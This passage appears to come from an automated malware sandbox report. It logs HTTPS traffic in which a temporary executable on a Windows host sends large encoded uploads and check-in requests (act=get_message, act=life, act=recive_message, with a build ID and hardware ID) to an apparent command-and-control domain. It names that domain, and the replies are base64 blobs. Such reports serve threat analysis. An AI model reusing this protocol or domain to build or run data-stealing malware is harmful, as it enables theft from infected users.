b0 16 b1 cf 43 69 14 81 aa 38 bd 3e 0c 40 2d 75 4c 65 f9 f3 f6 cd ac bf f1 e4 1b 2f 97 6b 01 82 57 49 67 81 d9 5e Data Ascii: )k'Twd\|p"J=eZ7*l'lZJ5V3gn>&7W KFMnGx<d[)6]JK\;2u~-uv5}d),l5)_0Xh1'nY bH%-\|y%g/H.vU4DCi8>@-uLe/kWIg^
2024-10-31 22:38:26 UTC	15331	OUT	Data Raw: 85 14 12 f1 5a 02 25 9d 44 83 61 d3 7f 4d 15 92 9f a0 92 83 9a a3 7d 69 65 7a 4c 24 45 82 ff a0 fa fe b5 de e4 40 3e 58 a5 28 d4 e5 7c c9 9b fe e8 0c 73 39 67 cb d5 65 5d 6d b0 8a 93 04 1f 9c d4 eb 07 45 06 d3 3c 60 ed b7 fe 2b f2 fc 08 ff 4f 0a d5 1d 3a 41 36 64 99 91 1c 64 c1 b4 67 b4 42 1a a2 57 85 ed a5 40 27 f2 34 fd f6 f3 4e de c2 4e e7 3b fe 36 3b 27 72 87 6d 63 7a 02 f4 aa d3 54 e4 13 e1 9b 00 94 4f 47 da b3 e7 53 04 35 ec bf e2 95 25 85 c5 fb c4 9d 62 8d 91 ff 58 db b2 f6 a3 23 65 7f 2d ca f1 99 d9 97 ef db f0 ed 32 4e a0 d8 75 9b c5 b7 56 ab 37 bd 13 2c 37 fe da f3 75 a4 a9 cc ed 24 3b d6 ad db 86 c9 4d 63 3d 5f 68 49 55 00 69 1d f9 71 4e 48 86 0f 48 c4 e4 8f ab ec 46 7b e0 85 23 72 42 2e f3 fc 01 27 41 01 8b 77 f6 b0 51 af 04 38 6e fa e5 73 20 Data Ascii: Z%DaM}iezL$E@>X(\|s9ge]mE<`+O:A6ddgBW@'4NN;6;'rmczTOGS5%bX#e-2NuV7,7u$;Mc=_hIUiqNHHF{#rB.'AwQ8ns
2024-10-31 22:38:26 UTC	15331	OUT	Data Raw: 1f 71 60 5f 2a bf 37 22 73 93 2a b2 f3 66 d3 5a 41 3e 37 b6 f2 dd c0 63 82 03 a6 c8 cf 24 44 6e 23 bb a6 b5 58 8f 93 3d c4 c3 2d 81 65 a1 3c 41 0e ca cf 9e 38 d4 85 0d a1 4e dc ab e8 97 4d 8e 8c c3 86 5d 22 65 a7 91 3f 88 ea 94 dd 15 ef 56 16 6c d0 74 68 7c 90 f7 2c c5 c6 ad a0 92 4f 78 f0 87 68 1b e5 63 d4 49 b7 e7 21 fc c3 fb 84 f0 07 73 27 b8 da 2c b4 0b ba 38 9a a5 66 61 57 51 b3 47 f1 eb bc 9f eb c7 99 bc a3 52 9e e0 03 02 41 09 16 12 90 03 32 38 2e 76 94 d9 71 bb 83 43 fd 75 83 fb 67 88 cb 2f 31 68 4a 86 63 3e c5 a3 dc 39 4b 80 84 46 96 20 40 41 08 b8 0d d8 f6 3b 56 47 e9 bc b1 0c e1 7f 2b 88 69 3c 20 c7 92 aa fd 77 29 71 95 1a 1b b7 5c 61 7f 85 b5 03 81 ac 59 50 22 ad 4d be c6 8e ef 6c b8 1d bd f0 8d 0f f4 21 03 1e 6c 96 49 03 af 17 ec 19 fe 8c 93 Data Ascii: q`_7"sfZA>7c$Dn#X=-e<A8NM]"e?Vlth\|,OxhcI!s',8faWQGRA28.vqCug/1hJc>9KF @A;VG+i< w)q\aYP"Ml!lI
2024-10-31 22:38:26 UTC	15331	OUT	Data Raw: ef 2e 17 f7 36 41 f3 fc ae 86 8b 94 2a 74 99 50 9a af 8b 00 46 1d 94 de 20 3f 8a 6b 61 2e 45 79 d4 71 a4 aa f6 69 66 6a ad a2 45 85 22 16 9d 86 00 ed 02 3c 1c 63 22 12 8c 96 48 b9 47 dd d3 a7 16 de 75 2b 01 e6 69 f8 fe 8f 41 f2 d8 ed 92 e9 0d 29 b1 bc d0 45 d2 3b 62 7e da 63 b6 31 75 37 be 46 ab bf c2 d7 6d 6d 6b b6 c8 cc e1 98 f7 bd c0 1a ae 7d a9 5f 47 94 47 8f f7 87 e3 d5 07 39 7f 97 b2 e6 a4 91 dc fa 9b 27 42 eb 6e 17 50 9b 66 5a f3 9c 87 f6 02 7a ab 7e c4 04 5d 81 48 cf e4 2d 3d cd 68 43 b1 bf c5 72 19 cd 26 35 73 e9 46 fa 75 45 03 7c bf bf a2 41 c9 17 62 c2 60 96 08 59 09 3d 85 65 62 09 f9 63 11 9c 09 34 df c5 ab 4f d3 7c ee 9e 2a 1e 10 7b 10 c9 2c b9 ee b6 87 f2 6f 61 9f ce 3b 59 1f 60 2b 8c c3 62 e1 91 82 60 9d 25 1e 9e da 3e 41 f6 4d 31 a1 b8 88 Data Ascii: .6AtPF ?ka.EyqifjE"<c"HGu+iA)E;b~c1u7Fmmk}_GG9'BnPfZz~]H-=hCr&5sFuE\|Ab`Y=ebc4O\|{,oa;Y`+b`%>AM1
2024-10-31 22:38:26 UTC	15331	OUT	Data Raw: 5f c8 2a e7 f6 c3 55 ff 32 8c df 73 eb b7 22 72 50 4b 5d 58 ad 17 0a 33 ec dc f1 36 c9 e8 f6 fd b8 0a 6c 93 8b f3 e9 34 72 ca 92 e5 24 eb 8a 5b ed 1b c3 2e 15 7a ee 92 01 e7 37 96 23 a3 83 54 8e bd a3 35 be 88 da e8 d8 cc 5b 20 99 18 87 bf 9c 02 e8 18 15 d0 c5 d4 88 09 88 32 f2 66 bc 40 a5 50 8a cd 67 40 17 63 0a 08 1e 05 0e a9 59 f0 40 10 34 5d e5 4c 4d a9 cc 59 c7 65 9b 18 19 e6 09 d1 54 01 19 32 a4 91 90 e4 82 0e 84 ed 5d 57 e2 37 13 9f 80 7b 0c 5b b4 09 b1 f9 27 61 52 ec f4 78 ad 38 20 42 99 d1 21 f1 ef 15 4b 7b 8d 8d a2 8c 04 78 40 40 79 41 ab e1 cd 8f da 63 c8 d3 da 59 26 e4 8c 59 f7 dc 86 98 78 3c 2b d8 62 20 6a 48 f1 9b e6 4f 31 82 49 ed ae fe ea 76 94 36 8c 27 d1 bd 48 32 cd 10 03 d9 be 09 9f 32 da 3b 8b fc 2c 4b ce 4c 18 7d 59 68 1a b6 a3 04 20 Data Ascii: _*U2s"rPK]X36l4r$[.z7#T5[ 2f@Pg@cY@4]LMYeT2]W7{['aRx8 B!K{x@@yAcY&Yx<+b jHO1Iv6'H22;,KL}Yh
2024-10-31 22:38:26 UTC	15331	OUT	Data Raw: d2 14 3f eb 31 44 cd da 7c 87 3a db 26 b1 e4 da 58 10 f6 e5 9e dd 66 62 dd d0 47 28 30 cf c9 a6 02 25 e3 ee 58 fc 1c da d1 cb 5a a8 c3 b7 9f 7e 76 2f 41 21 66 8b ee ba 30 6c f7 a5 f6 71 c9 93 36 ee f7 7f 90 d2 48 42 66 f5 e9 cc d0 03 59 fc 4d a3 fb 72 1b dc 90 90 0f 2f 83 3f a8 4b 7d b3 25 a8 56 bf 8d 3b 86 fa c2 10 e0 7c 39 b4 59 b0 37 f3 80 a9 74 90 d1 ea 6d f6 20 56 9c b4 a8 6f e9 c9 65 bf df 8b 32 68 68 94 b3 fc 5e 92 31 fc c0 7d ef c8 7f 93 75 9b 27 33 39 95 a1 3c ac f0 77 cf 38 27 fa c3 f0 b9 cf 61 13 3f 46 c3 ab 0f fa 58 8e d8 86 29 f5 4e 2e fc c2 01 c4 9e cd 32 a3 a5 fb 63 b2 6d e3 8a 11 93 96 4e 19 6d c1 93 37 36 0f 30 4e d5 70 4b 19 7a 4b e5 d5 d5 d4 51 26 20 1f cf 36 9c 0a ab 61 f6 71 07 eb 87 c3 5b 0f fc 76 4a 56 7b 32 4b ad 3d 15 22 44 fa 5e Data Ascii: ?1D\|:&XfbG(0%XZ~v/A!f0lq6HBfYMr/?K}%V;\|9Y7tm Voe2hh^1}u'39<w8'a?FX)N.2cmNm760NpKzKQ& 6aq[vJV{2K="D^
2024-10-31 22:38:26 UTC	15331	OUT	Data Raw: 75 1f a2 42 d0 f0 e1 45 f7 8e 6f fc 0c 2f 39 38 15 a3 b3 d6 73 43 91 fa 01 14 f5 cb 32 da 23 10 d5 56 7b 89 33 80 c8 5d 65 8c f6 78 72 d5 55 40 1c 2d dc cb 79 fc 77 0c 0d 15 61 90 04 b7 5c 1b d7 aa 62 bd 05 ad 24 5b 08 f0 ae 07 59 75 11 2e d2 f5 b4 92 35 f1 8c e4 97 37 58 2f f8 8a 2e 9a a6 2e b1 df 69 d6 e9 21 66 f4 7e 39 53 40 98 34 6b ef 28 f7 99 a8 bd 9a 5e 73 19 29 f4 47 a9 28 b5 af d3 e2 b0 4b e7 fc 79 0e bb 82 81 99 af 64 fc e6 67 03 72 3d 5d 7b f2 eb d2 e9 21 f3 9b 1f 83 af 5a 11 59 eb 52 91 ce 05 99 66 74 29 e8 37 9b 94 80 d9 d4 29 32 85 df 8f 1f 55 ac 8c 0e 4f 83 dc ba 14 aa 06 c3 07 7f 40 1a c8 f6 da bb c5 1c ea 69 cd b8 50 7c 35 e5 0b 94 c7 b0 96 83 a3 10 7c 62 f8 9a 99 06 2e 0e 9e 8c f1 fd 89 48 8b 84 3d 38 1d f6 1a 39 55 4a 9c 22 1b 1b d6 da Data Ascii: uBEo/98sC2#V{3]exrU@-ywa\b$[Yu.57X/..i!f~9S@4k(^s)G(Kydgr=]{!ZYRft)7)2UO@iP\|5\|b.H=89UJ"
2024-10-31 22:38:26 UTC	15331	OUT	Data Raw: d2 be 87 27 1b bd da 24 7e da af cf fb 4c 21 46 7a f6 91 34 95 85 b1 0e 70 1a d9 13 18 fe a4 9c 56 33 c2 b1 cf 37 1c c0 a1 fb fd bf 41 65 d3 a5 e6 97 e2 ed ab 89 85 43 78 d9 c8 e2 a2 27 7b 50 2c c9 ad bd 8d c8 ba 03 c7 42 de 90 44 43 ba 1f d2 16 06 72 1f 53 8a 46 f7 2c db e0 e7 5b a1 da 87 5e 83 6f aa 58 0d d7 32 43 ea 32 bb 40 77 df c1 67 d5 2e 43 20 ac 9b 80 01 13 91 93 b3 0f f9 05 8d 80 c1 a7 af bc 5d 02 75 01 c7 ec 97 e6 74 ea c3 e5 c8 a5 39 84 2f b1 ae 7a 59 bc ad 3c e6 19 0e de b2 eb 70 55 ac 62 e7 db da 07 a1 43 21 cc bc dd 3c 27 18 e6 76 99 fe 6b 57 30 fd bf 92 94 a0 ea 26 52 09 74 b4 52 12 35 d7 a0 0f 6d d5 4c 93 10 46 7c d0 56 45 ed 1c ab 55 68 5e fd e7 76 f3 a9 af de 2a 88 78 29 7a 69 e7 3a ec c7 7b 49 ae c8 aa 3f 22 7e e9 0f c4 09 cd b8 70 29 Data Ascii: '$~L!Fz4pV37AeCx'{P,BDCrSF,[^oX2C2@wg.C ]ut9/zY<pUbC!<'vkW0&RtR5mLF\|VEUh^v*x)zi:{I?"~p)
2024-10-31 22:38:29 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2ul26qq48unlqpcotrs6ql1dv0; expires=Mon, 24-Feb-2025 16:25:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4TmuJCx7BJedsI%2BvwrrDxAfPn1d41tSJ3GMHaBt3hm9daUpui8tWgomzvcguCCtylchSFFeCE26BDvIjHdvsjQTwWxt0dCgnE4MrxBtk1DeCeFV5UZX8BxC2cZsk5e5ve12I%2FvM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722aa2e25eaee-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1229&sent=227&recv=629&lost=0&retrans=0&sent_bytes=2844&recv_bytes=582479&delivery_rate=2335483&cwnd=251&unsent_bytes=0&cid=6f6e2100b960e3c5&ts=2481&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49929	188.114.97.3	443	736	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:30 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 22:38:30 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=1B3CE24BA149BC22D8DDEF3DF61EFD84
2024-10-31 22:38:30 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9tqh1fop1un161f2s5v9g5c9pg; expires=Mon, 24-Feb-2025 16:25:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uywDBLjx3VlXbh8gDJ7kk%2FypZlPQFd02sleac2vuFqyGlt1Hjtjnvavsk3HS2RpOdKTsZPP1m338XzgdRu%2FqXihHu6Wd3TJfiBDLEpMG70HdMyXbLqy%2BPom96U19aOsg8k4B%2Buc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722bdfbfae534-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1260&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2302066&cwnd=251&unsent_bytes=0&cid=26601d9f4f62ce43&ts=697&x=0"
2024-10-31 22:38:30 UTC	214	IN	Data Raw: 64 30 0d 0a 56 73 67 35 63 78 4e 62 37 54 4f 67 38 67 75 73 63 6b 6a 54 52 4e 4c 41 30 78 4c 7a 77 64 48 4e 4f 41 38 2b 59 76 77 49 67 49 4d 4e 73 78 73 47 4d 57 48 50 57 39 53 47 65 35 59 75 5a 34 39 72 34 2f 6a 6d 50 4d 48 77 35 4f 4d 4a 50 67 31 4d 7a 54 37 63 72 44 6d 75 58 79 38 38 50 34 68 56 6a 70 64 7a 79 56 42 6b 38 53 4b 6d 34 75 6b 69 33 2b 4f 30 37 77 49 2f 51 30 36 48 4b 76 57 68 62 4f 70 52 42 32 63 72 31 32 2b 50 72 69 53 64 53 6e 33 39 64 75 50 31 2f 53 50 43 38 76 2f 38 44 6c 4d 52 44 35 56 6d 35 64 39 35 75 6c 67 64 64 7a 53 41 48 63 57 4b 62 6f 35 65 61 72 55 77 38 50 72 6a 50 74 47 6b 38 2f 63 49 63 6d 4d 3d 0d 0a Data Ascii: d0Vsg5cxNb7TOg8gusckjTRNLA0xLzwdHNOA8+YvwIgIMNsxsGMWHPW9SGe5YuZ49r4/jmPMHw5OMJPg1MzT7crDmuXy88P4hVjpdzyVBk8SKm4uki3+O07wI/Q06HKvWhbOpRB2cr12+PriSdSn39duP1/SPC8v/8DlMRD5Vm5d95ulgddzSAHcWKbo5earUw8PrjPtGk8/cIcmM=
2024-10-31 22:38:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49938	188.114.97.3	443	3264	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:30 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 22:38:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 22:38:30 UTC	1010	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eucv5mf4v8h2cmtl78otutfdc7; expires=Mon, 24-Feb-2025 16:25:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lwy%2B23ikJ16b1u5ZLwcXwA8zHtVddmGBmhkjN7zwcqIkiqHwB9CoudLTt71IS5HzfxQSKzD1eplJPJUqSbuAqAYjqrE%2FeMHrAa60Msh1o2cFnbu6J5YZLE0nn7FLbOWO4y2uBZE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722c0187c4674-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=999&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2784615&cwnd=239&unsent_bytes=0&cid=4aabdb64a921b38c&ts=555&x=0"
2024-10-31 22:38:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 22:38:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49953	188.114.97.3	443	3264	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:32 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 22:38:32 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 22:38:33 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cfhchkuqvt6oshpd3u18e9f4tc; expires=Mon, 24-Feb-2025 16:25:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rGkSFkORivjzJgEQNYkoetuxRXXqk7H9GQOg5kumTktuc%2FRCSyjeMHprzy6IISrnoCBjyEQy2zuTg%2F0xnt1RlBKjF0h6JOkIrfE8LP%2FcjcYe%2FqcM7Y9uDA93KbbZdH02oOuwHi0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722ce3f7b6c3f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1145&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2481576&cwnd=251&unsent_bytes=0&cid=6dc43f5d1324d87e&ts=717&x=0"
2024-10-31 22:38:33 UTC	354	IN	Data Raw: 63 63 34 0d 0a 6b 57 6f 33 53 74 63 4e 72 78 49 67 6c 45 46 44 59 33 63 4f 34 69 47 43 6d 64 38 76 53 39 63 47 48 36 71 4d 45 78 36 6c 4e 42 72 71 53 45 46 6f 37 54 6d 44 4d 46 50 78 59 33 6b 58 42 58 75 48 44 61 44 34 75 77 31 78 73 57 64 7a 32 65 6b 2f 50 4e 4e 5a 4f 4b 73 4d 56 69 61 6b 61 49 4d 77 52 65 78 6a 65 54 67 4d 4c 49 64 50 6f 4b 50 39 53 69 47 31 5a 33 50 49 37 58 68 78 31 56 68 35 2b 51 5a 51 49 72 4a 75 79 33 4e 4d 2b 53 51 6d 42 68 5a 6b 6a 45 6a 76 38 62 49 4e 5a 2f 56 6a 5a 59 69 32 4d 56 50 41 51 48 76 63 43 30 51 68 39 58 43 44 61 51 4c 78 4c 32 46 5a 56 57 2b 48 51 2b 37 2f 75 30 51 6a 76 32 35 37 79 65 68 35 62 73 78 53 63 76 6b 49 55 79 4f 34 5a 39 39 2b 52 76 34 76 49 41 77 57 4c 4d 34 44 35 2b 50 39 46 57 6e 6d 56 6e 37 5a 2f 32 Data Ascii: cc4kWo3StcNrxIglEFDY3cO4iGCmd8vS9cGH6qMEx6lNBrqSEFo7TmDMFPxY3kXBXuHDaD4uw1xsWdz2ek/PNNZOKsMViakaIMwRexjeTgMLIdPoKP9SiG1Z3PI7Xhx1Vh5+QZQIrJuy3NM+SQmBhZkjEjv8bINZ/VjZYi2MVPAQHvcC0Qh9XCDaQLxL2FZVW+HQ+7/u0Qjv257yeh5bsxScvkIUyO4Z99+Rv4vIAwWLM4D5+P9FWnmVn7Z/2
2024-10-31 22:38:33 UTC	1369	IN	Data Raw: 73 31 69 53 76 30 6f 4a 42 4d 65 5a 59 31 4f 34 50 61 33 51 69 71 31 59 33 66 43 34 58 74 34 79 6c 74 2b 38 77 67 56 5a 76 56 6f 31 54 41 61 74 67 41 6b 45 52 4a 67 6c 67 48 61 75 36 49 44 4d 50 56 6a 63 59 69 32 4d 58 54 43 56 58 76 34 42 31 59 67 76 6e 33 4e 59 6b 54 37 4a 6a 4d 48 45 47 4b 4b 51 50 4c 78 73 30 73 71 76 47 39 30 7a 65 6c 31 50 49 6b 57 66 2b 74 49 44 57 69 55 59 73 5a 38 53 4f 45 6a 59 52 35 62 64 63 42 45 37 4c 76 6c 44 53 32 30 59 48 7a 4d 34 48 39 34 79 31 42 32 2f 67 64 54 49 72 56 6f 78 33 68 4b 39 79 34 71 44 68 56 70 6a 55 66 6d 39 37 78 49 61 66 73 6b 65 74 43 75 4b 54 7a 70 55 58 76 68 53 6d 41 72 75 32 48 4b 5a 67 4c 70 62 54 68 42 45 6d 44 41 47 36 44 31 75 45 49 37 74 48 5a 34 78 76 78 39 65 63 46 62 65 2f 30 49 55 43 2b 34 Data Ascii: s1iSv0oJBMeZY1O4Pa3Qiq1Y3fC4Xt4ylt+8wgVZvVo1TAatgAkERJglgHau6IDMPVjcYi2MXTCVXv4B1Ygvn3NYkT7JjMHEGKKQPLxs0sqvG90zel1PIkWf+tIDWiUYsZ8SOEjYR5bdcBE7LvlDS20YHzM4H94y1B2/gdTIrVox3hK9y4qDhVpjUfm97xIafsketCuKTzpUXvhSmAru2HKZgLpbThBEmDAG6D1uEI7tHZ4xvx9ecFbe/0IUC+4
2024-10-31 22:38:33 UTC	1369	IN	Data Raw: 4c 70 62 54 68 42 45 6d 44 41 47 36 44 33 74 45 30 69 76 32 42 39 7a 2b 4e 30 66 38 42 56 64 66 51 43 57 79 2b 78 59 38 52 39 52 50 59 6b 4a 51 51 48 61 59 6c 50 37 4c 76 7a 44 53 36 74 4a 43 57 49 77 58 5a 71 78 48 6c 37 34 67 45 56 4e 2f 74 32 6a 58 64 4f 74 6e 74 68 42 68 42 6b 69 30 58 6f 2b 36 39 49 4a 37 35 6c 64 38 37 76 66 48 44 42 56 6e 6e 7a 44 6c 6b 6f 73 6d 6a 66 59 6b 66 77 4d 53 74 42 57 79 79 48 57 36 43 6a 2f 58 73 35 6f 6e 56 72 69 74 74 79 63 73 6c 52 62 72 4d 58 47 7a 48 31 61 4d 45 77 47 72 59 6f 49 51 30 53 5a 49 5a 48 36 50 53 79 52 44 75 30 61 48 50 61 36 58 46 31 79 56 6c 30 2b 67 56 53 4a 62 35 6c 77 48 52 46 39 32 4e 76 51 52 4a 30 77 42 75 67 7a 61 31 41 4a 5a 74 76 63 63 47 75 62 6a 4c 65 46 6e 2f 2f 53 41 31 6f 73 57 50 46 65 Data Ascii: LpbThBEmDAG6D3tE0iv2B9z+N0f8BVdfQCWy+xY8R9RPYkJQQHaYlP7LvzDS6tJCWIwXZqxHl74gEVN/t2jXdOtnthBhBki0Xo+69IJ75ld87vfHDBVnnzDlkosmjfYkfwMStBWyyHW6Cj/Xs5onVrittycslRbrMXGzH1aMEwGrYoIQ0SZIZH6PSyRDu0aHPa6XF1yVl0+gVSJb5lwHRF92NvQRJ0wBugza1AJZtvccGubjLeFn//SA1osWPFe
2024-10-31 22:38:33 UTC	183	IN	Data Raw: 6b 42 52 4a 6f 68 6b 79 67 74 66 31 4b 4d 66 55 38 50 65 66 4a 52 44 37 6d 62 44 6a 73 52 6b 78 6f 73 6d 4f 4e 4b 41 4c 36 49 43 30 4a 47 6d 71 4a 54 2b 72 79 74 6b 45 69 73 57 68 30 7a 65 68 77 65 63 4a 58 66 50 38 43 55 79 75 32 59 4d 4a 2f 53 72 5a 74 59 51 59 4e 4c 4e 67 44 78 65 79 32 51 79 2f 31 65 7a 50 52 72 6e 5a 77 68 77 34 34 2f 77 46 54 4c 72 42 6a 7a 48 5a 4b 38 79 73 6c 41 42 4e 71 67 30 7a 6b 2f 72 78 43 4c 62 6c 71 64 38 6e 76 66 58 66 49 58 58 32 7a 52 68 55 76 72 53 2b 56 4d 48 50 31 4e 54 59 52 47 53 79 66 44 66 6d 37 0d 0a Data Ascii: kBRJohkygtf1KMfU8PefJRD7mbDjsRkxosmONKAL6IC0JGmqJT+rytkEisWh0zehwecJXfP8CUyu2YMJ/SrZtYQYNLNgDxey2Qy/1ezPRrnZwhw44/wFTLrBjzHZK8yslABNqg0zk/rxCLblqd8nvfXfIXX2zRhUvrS+VMHP1NTYRGSyfDfm7
2024-10-31 22:38:33 UTC	1369	IN	Data Raw: 33 37 61 38 0d 0a 75 6b 46 70 37 53 52 38 32 75 52 37 63 73 4a 5a 66 66 41 48 55 69 57 7a 59 38 64 35 53 76 41 73 4b 42 4d 57 59 49 35 45 37 76 65 7a 51 43 4f 32 61 54 32 47 72 6e 5a 6b 68 77 34 34 33 77 39 59 42 72 35 6a 79 6a 42 64 75 44 70 68 42 68 6b 73 32 41 50 73 38 62 46 45 4b 62 78 68 64 63 50 6e 64 48 33 4d 55 33 76 31 42 56 6f 68 70 32 58 4f 66 6b 48 36 4c 79 63 41 46 6e 36 49 53 71 43 31 2f 55 6f 78 39 54 77 39 36 65 42 38 61 4d 42 47 4f 4f 78 47 54 47 69 79 59 34 30 6f 41 76 55 69 4c 67 49 55 59 59 5a 4b 36 50 75 37 53 43 61 34 61 6e 72 50 37 6e 78 79 79 46 42 77 2f 67 52 65 4a 72 78 70 7a 58 46 49 74 6d 31 68 42 67 30 73 32 41 50 51 2b 4c 31 4e 4d 76 56 37 4d 39 47 75 64 6e 43 48 44 6a 6a 68 41 6c 77 6f 74 6d 44 4b 64 45 6e 36 4a 69 51 4f 46 Data Ascii: 37a8ukFp7SR82uR7csJZffAHUiWzY8d5SvAsKBMWYI5E7vezQCO2aT2GrnZkhw443w9YBr5jyjBduDphBhks2APs8bFEKbxhdcPndH3MU3v1BVohp2XOfkH6LycAFn6ISqC1/Uox9Tw96eB8aMBGOOxGTGiyY40oAvUiLgIUYYZK6Pu7SCa4anrP7nxyyFBw/gReJrxpzXFItm1hBg0s2APQ+L1NMvV7M9GudnCHDjjhAlwotmDKdEn6JiQOF
2024-10-31 22:38:33 UTC	1369	IN	Data Raw: 75 34 76 31 4b 4a 66 55 38 50 63 6e 69 66 6e 2f 49 56 58 76 79 41 6b 63 36 75 57 62 46 64 55 37 39 4c 53 63 54 45 32 4f 4a 51 4f 50 79 75 6b 55 6c 76 32 64 36 69 4b 41 78 65 39 38 57 49 4c 4d 72 51 6a 69 34 4c 39 49 2b 57 37 59 6b 4c 55 46 4e 4c 49 68 4f 36 50 47 35 53 69 53 79 59 6e 54 61 35 33 52 79 78 31 4a 7a 2f 41 35 52 4b 37 56 39 79 33 52 4b 39 53 34 73 44 78 5a 6f 77 41 32 67 2f 4b 55 4e 63 66 56 57 63 4d 62 31 66 6e 76 57 58 44 6a 73 52 6b 78 6f 73 6d 4f 4e 4b 41 4c 79 4c 54 4d 4b 46 47 65 4c 54 65 66 30 75 45 63 70 75 6d 42 2b 78 75 56 77 66 38 39 62 64 66 30 43 58 43 47 79 59 38 6c 33 41 72 68 6a 4a 68 6c 56 4e 4d 42 6f 77 64 61 52 53 6a 50 31 65 7a 50 52 72 6e 5a 77 68 77 34 34 2f 77 46 5a 49 72 35 6f 78 33 35 4c 2b 43 67 7a 45 78 5a 6f 67 30 Data 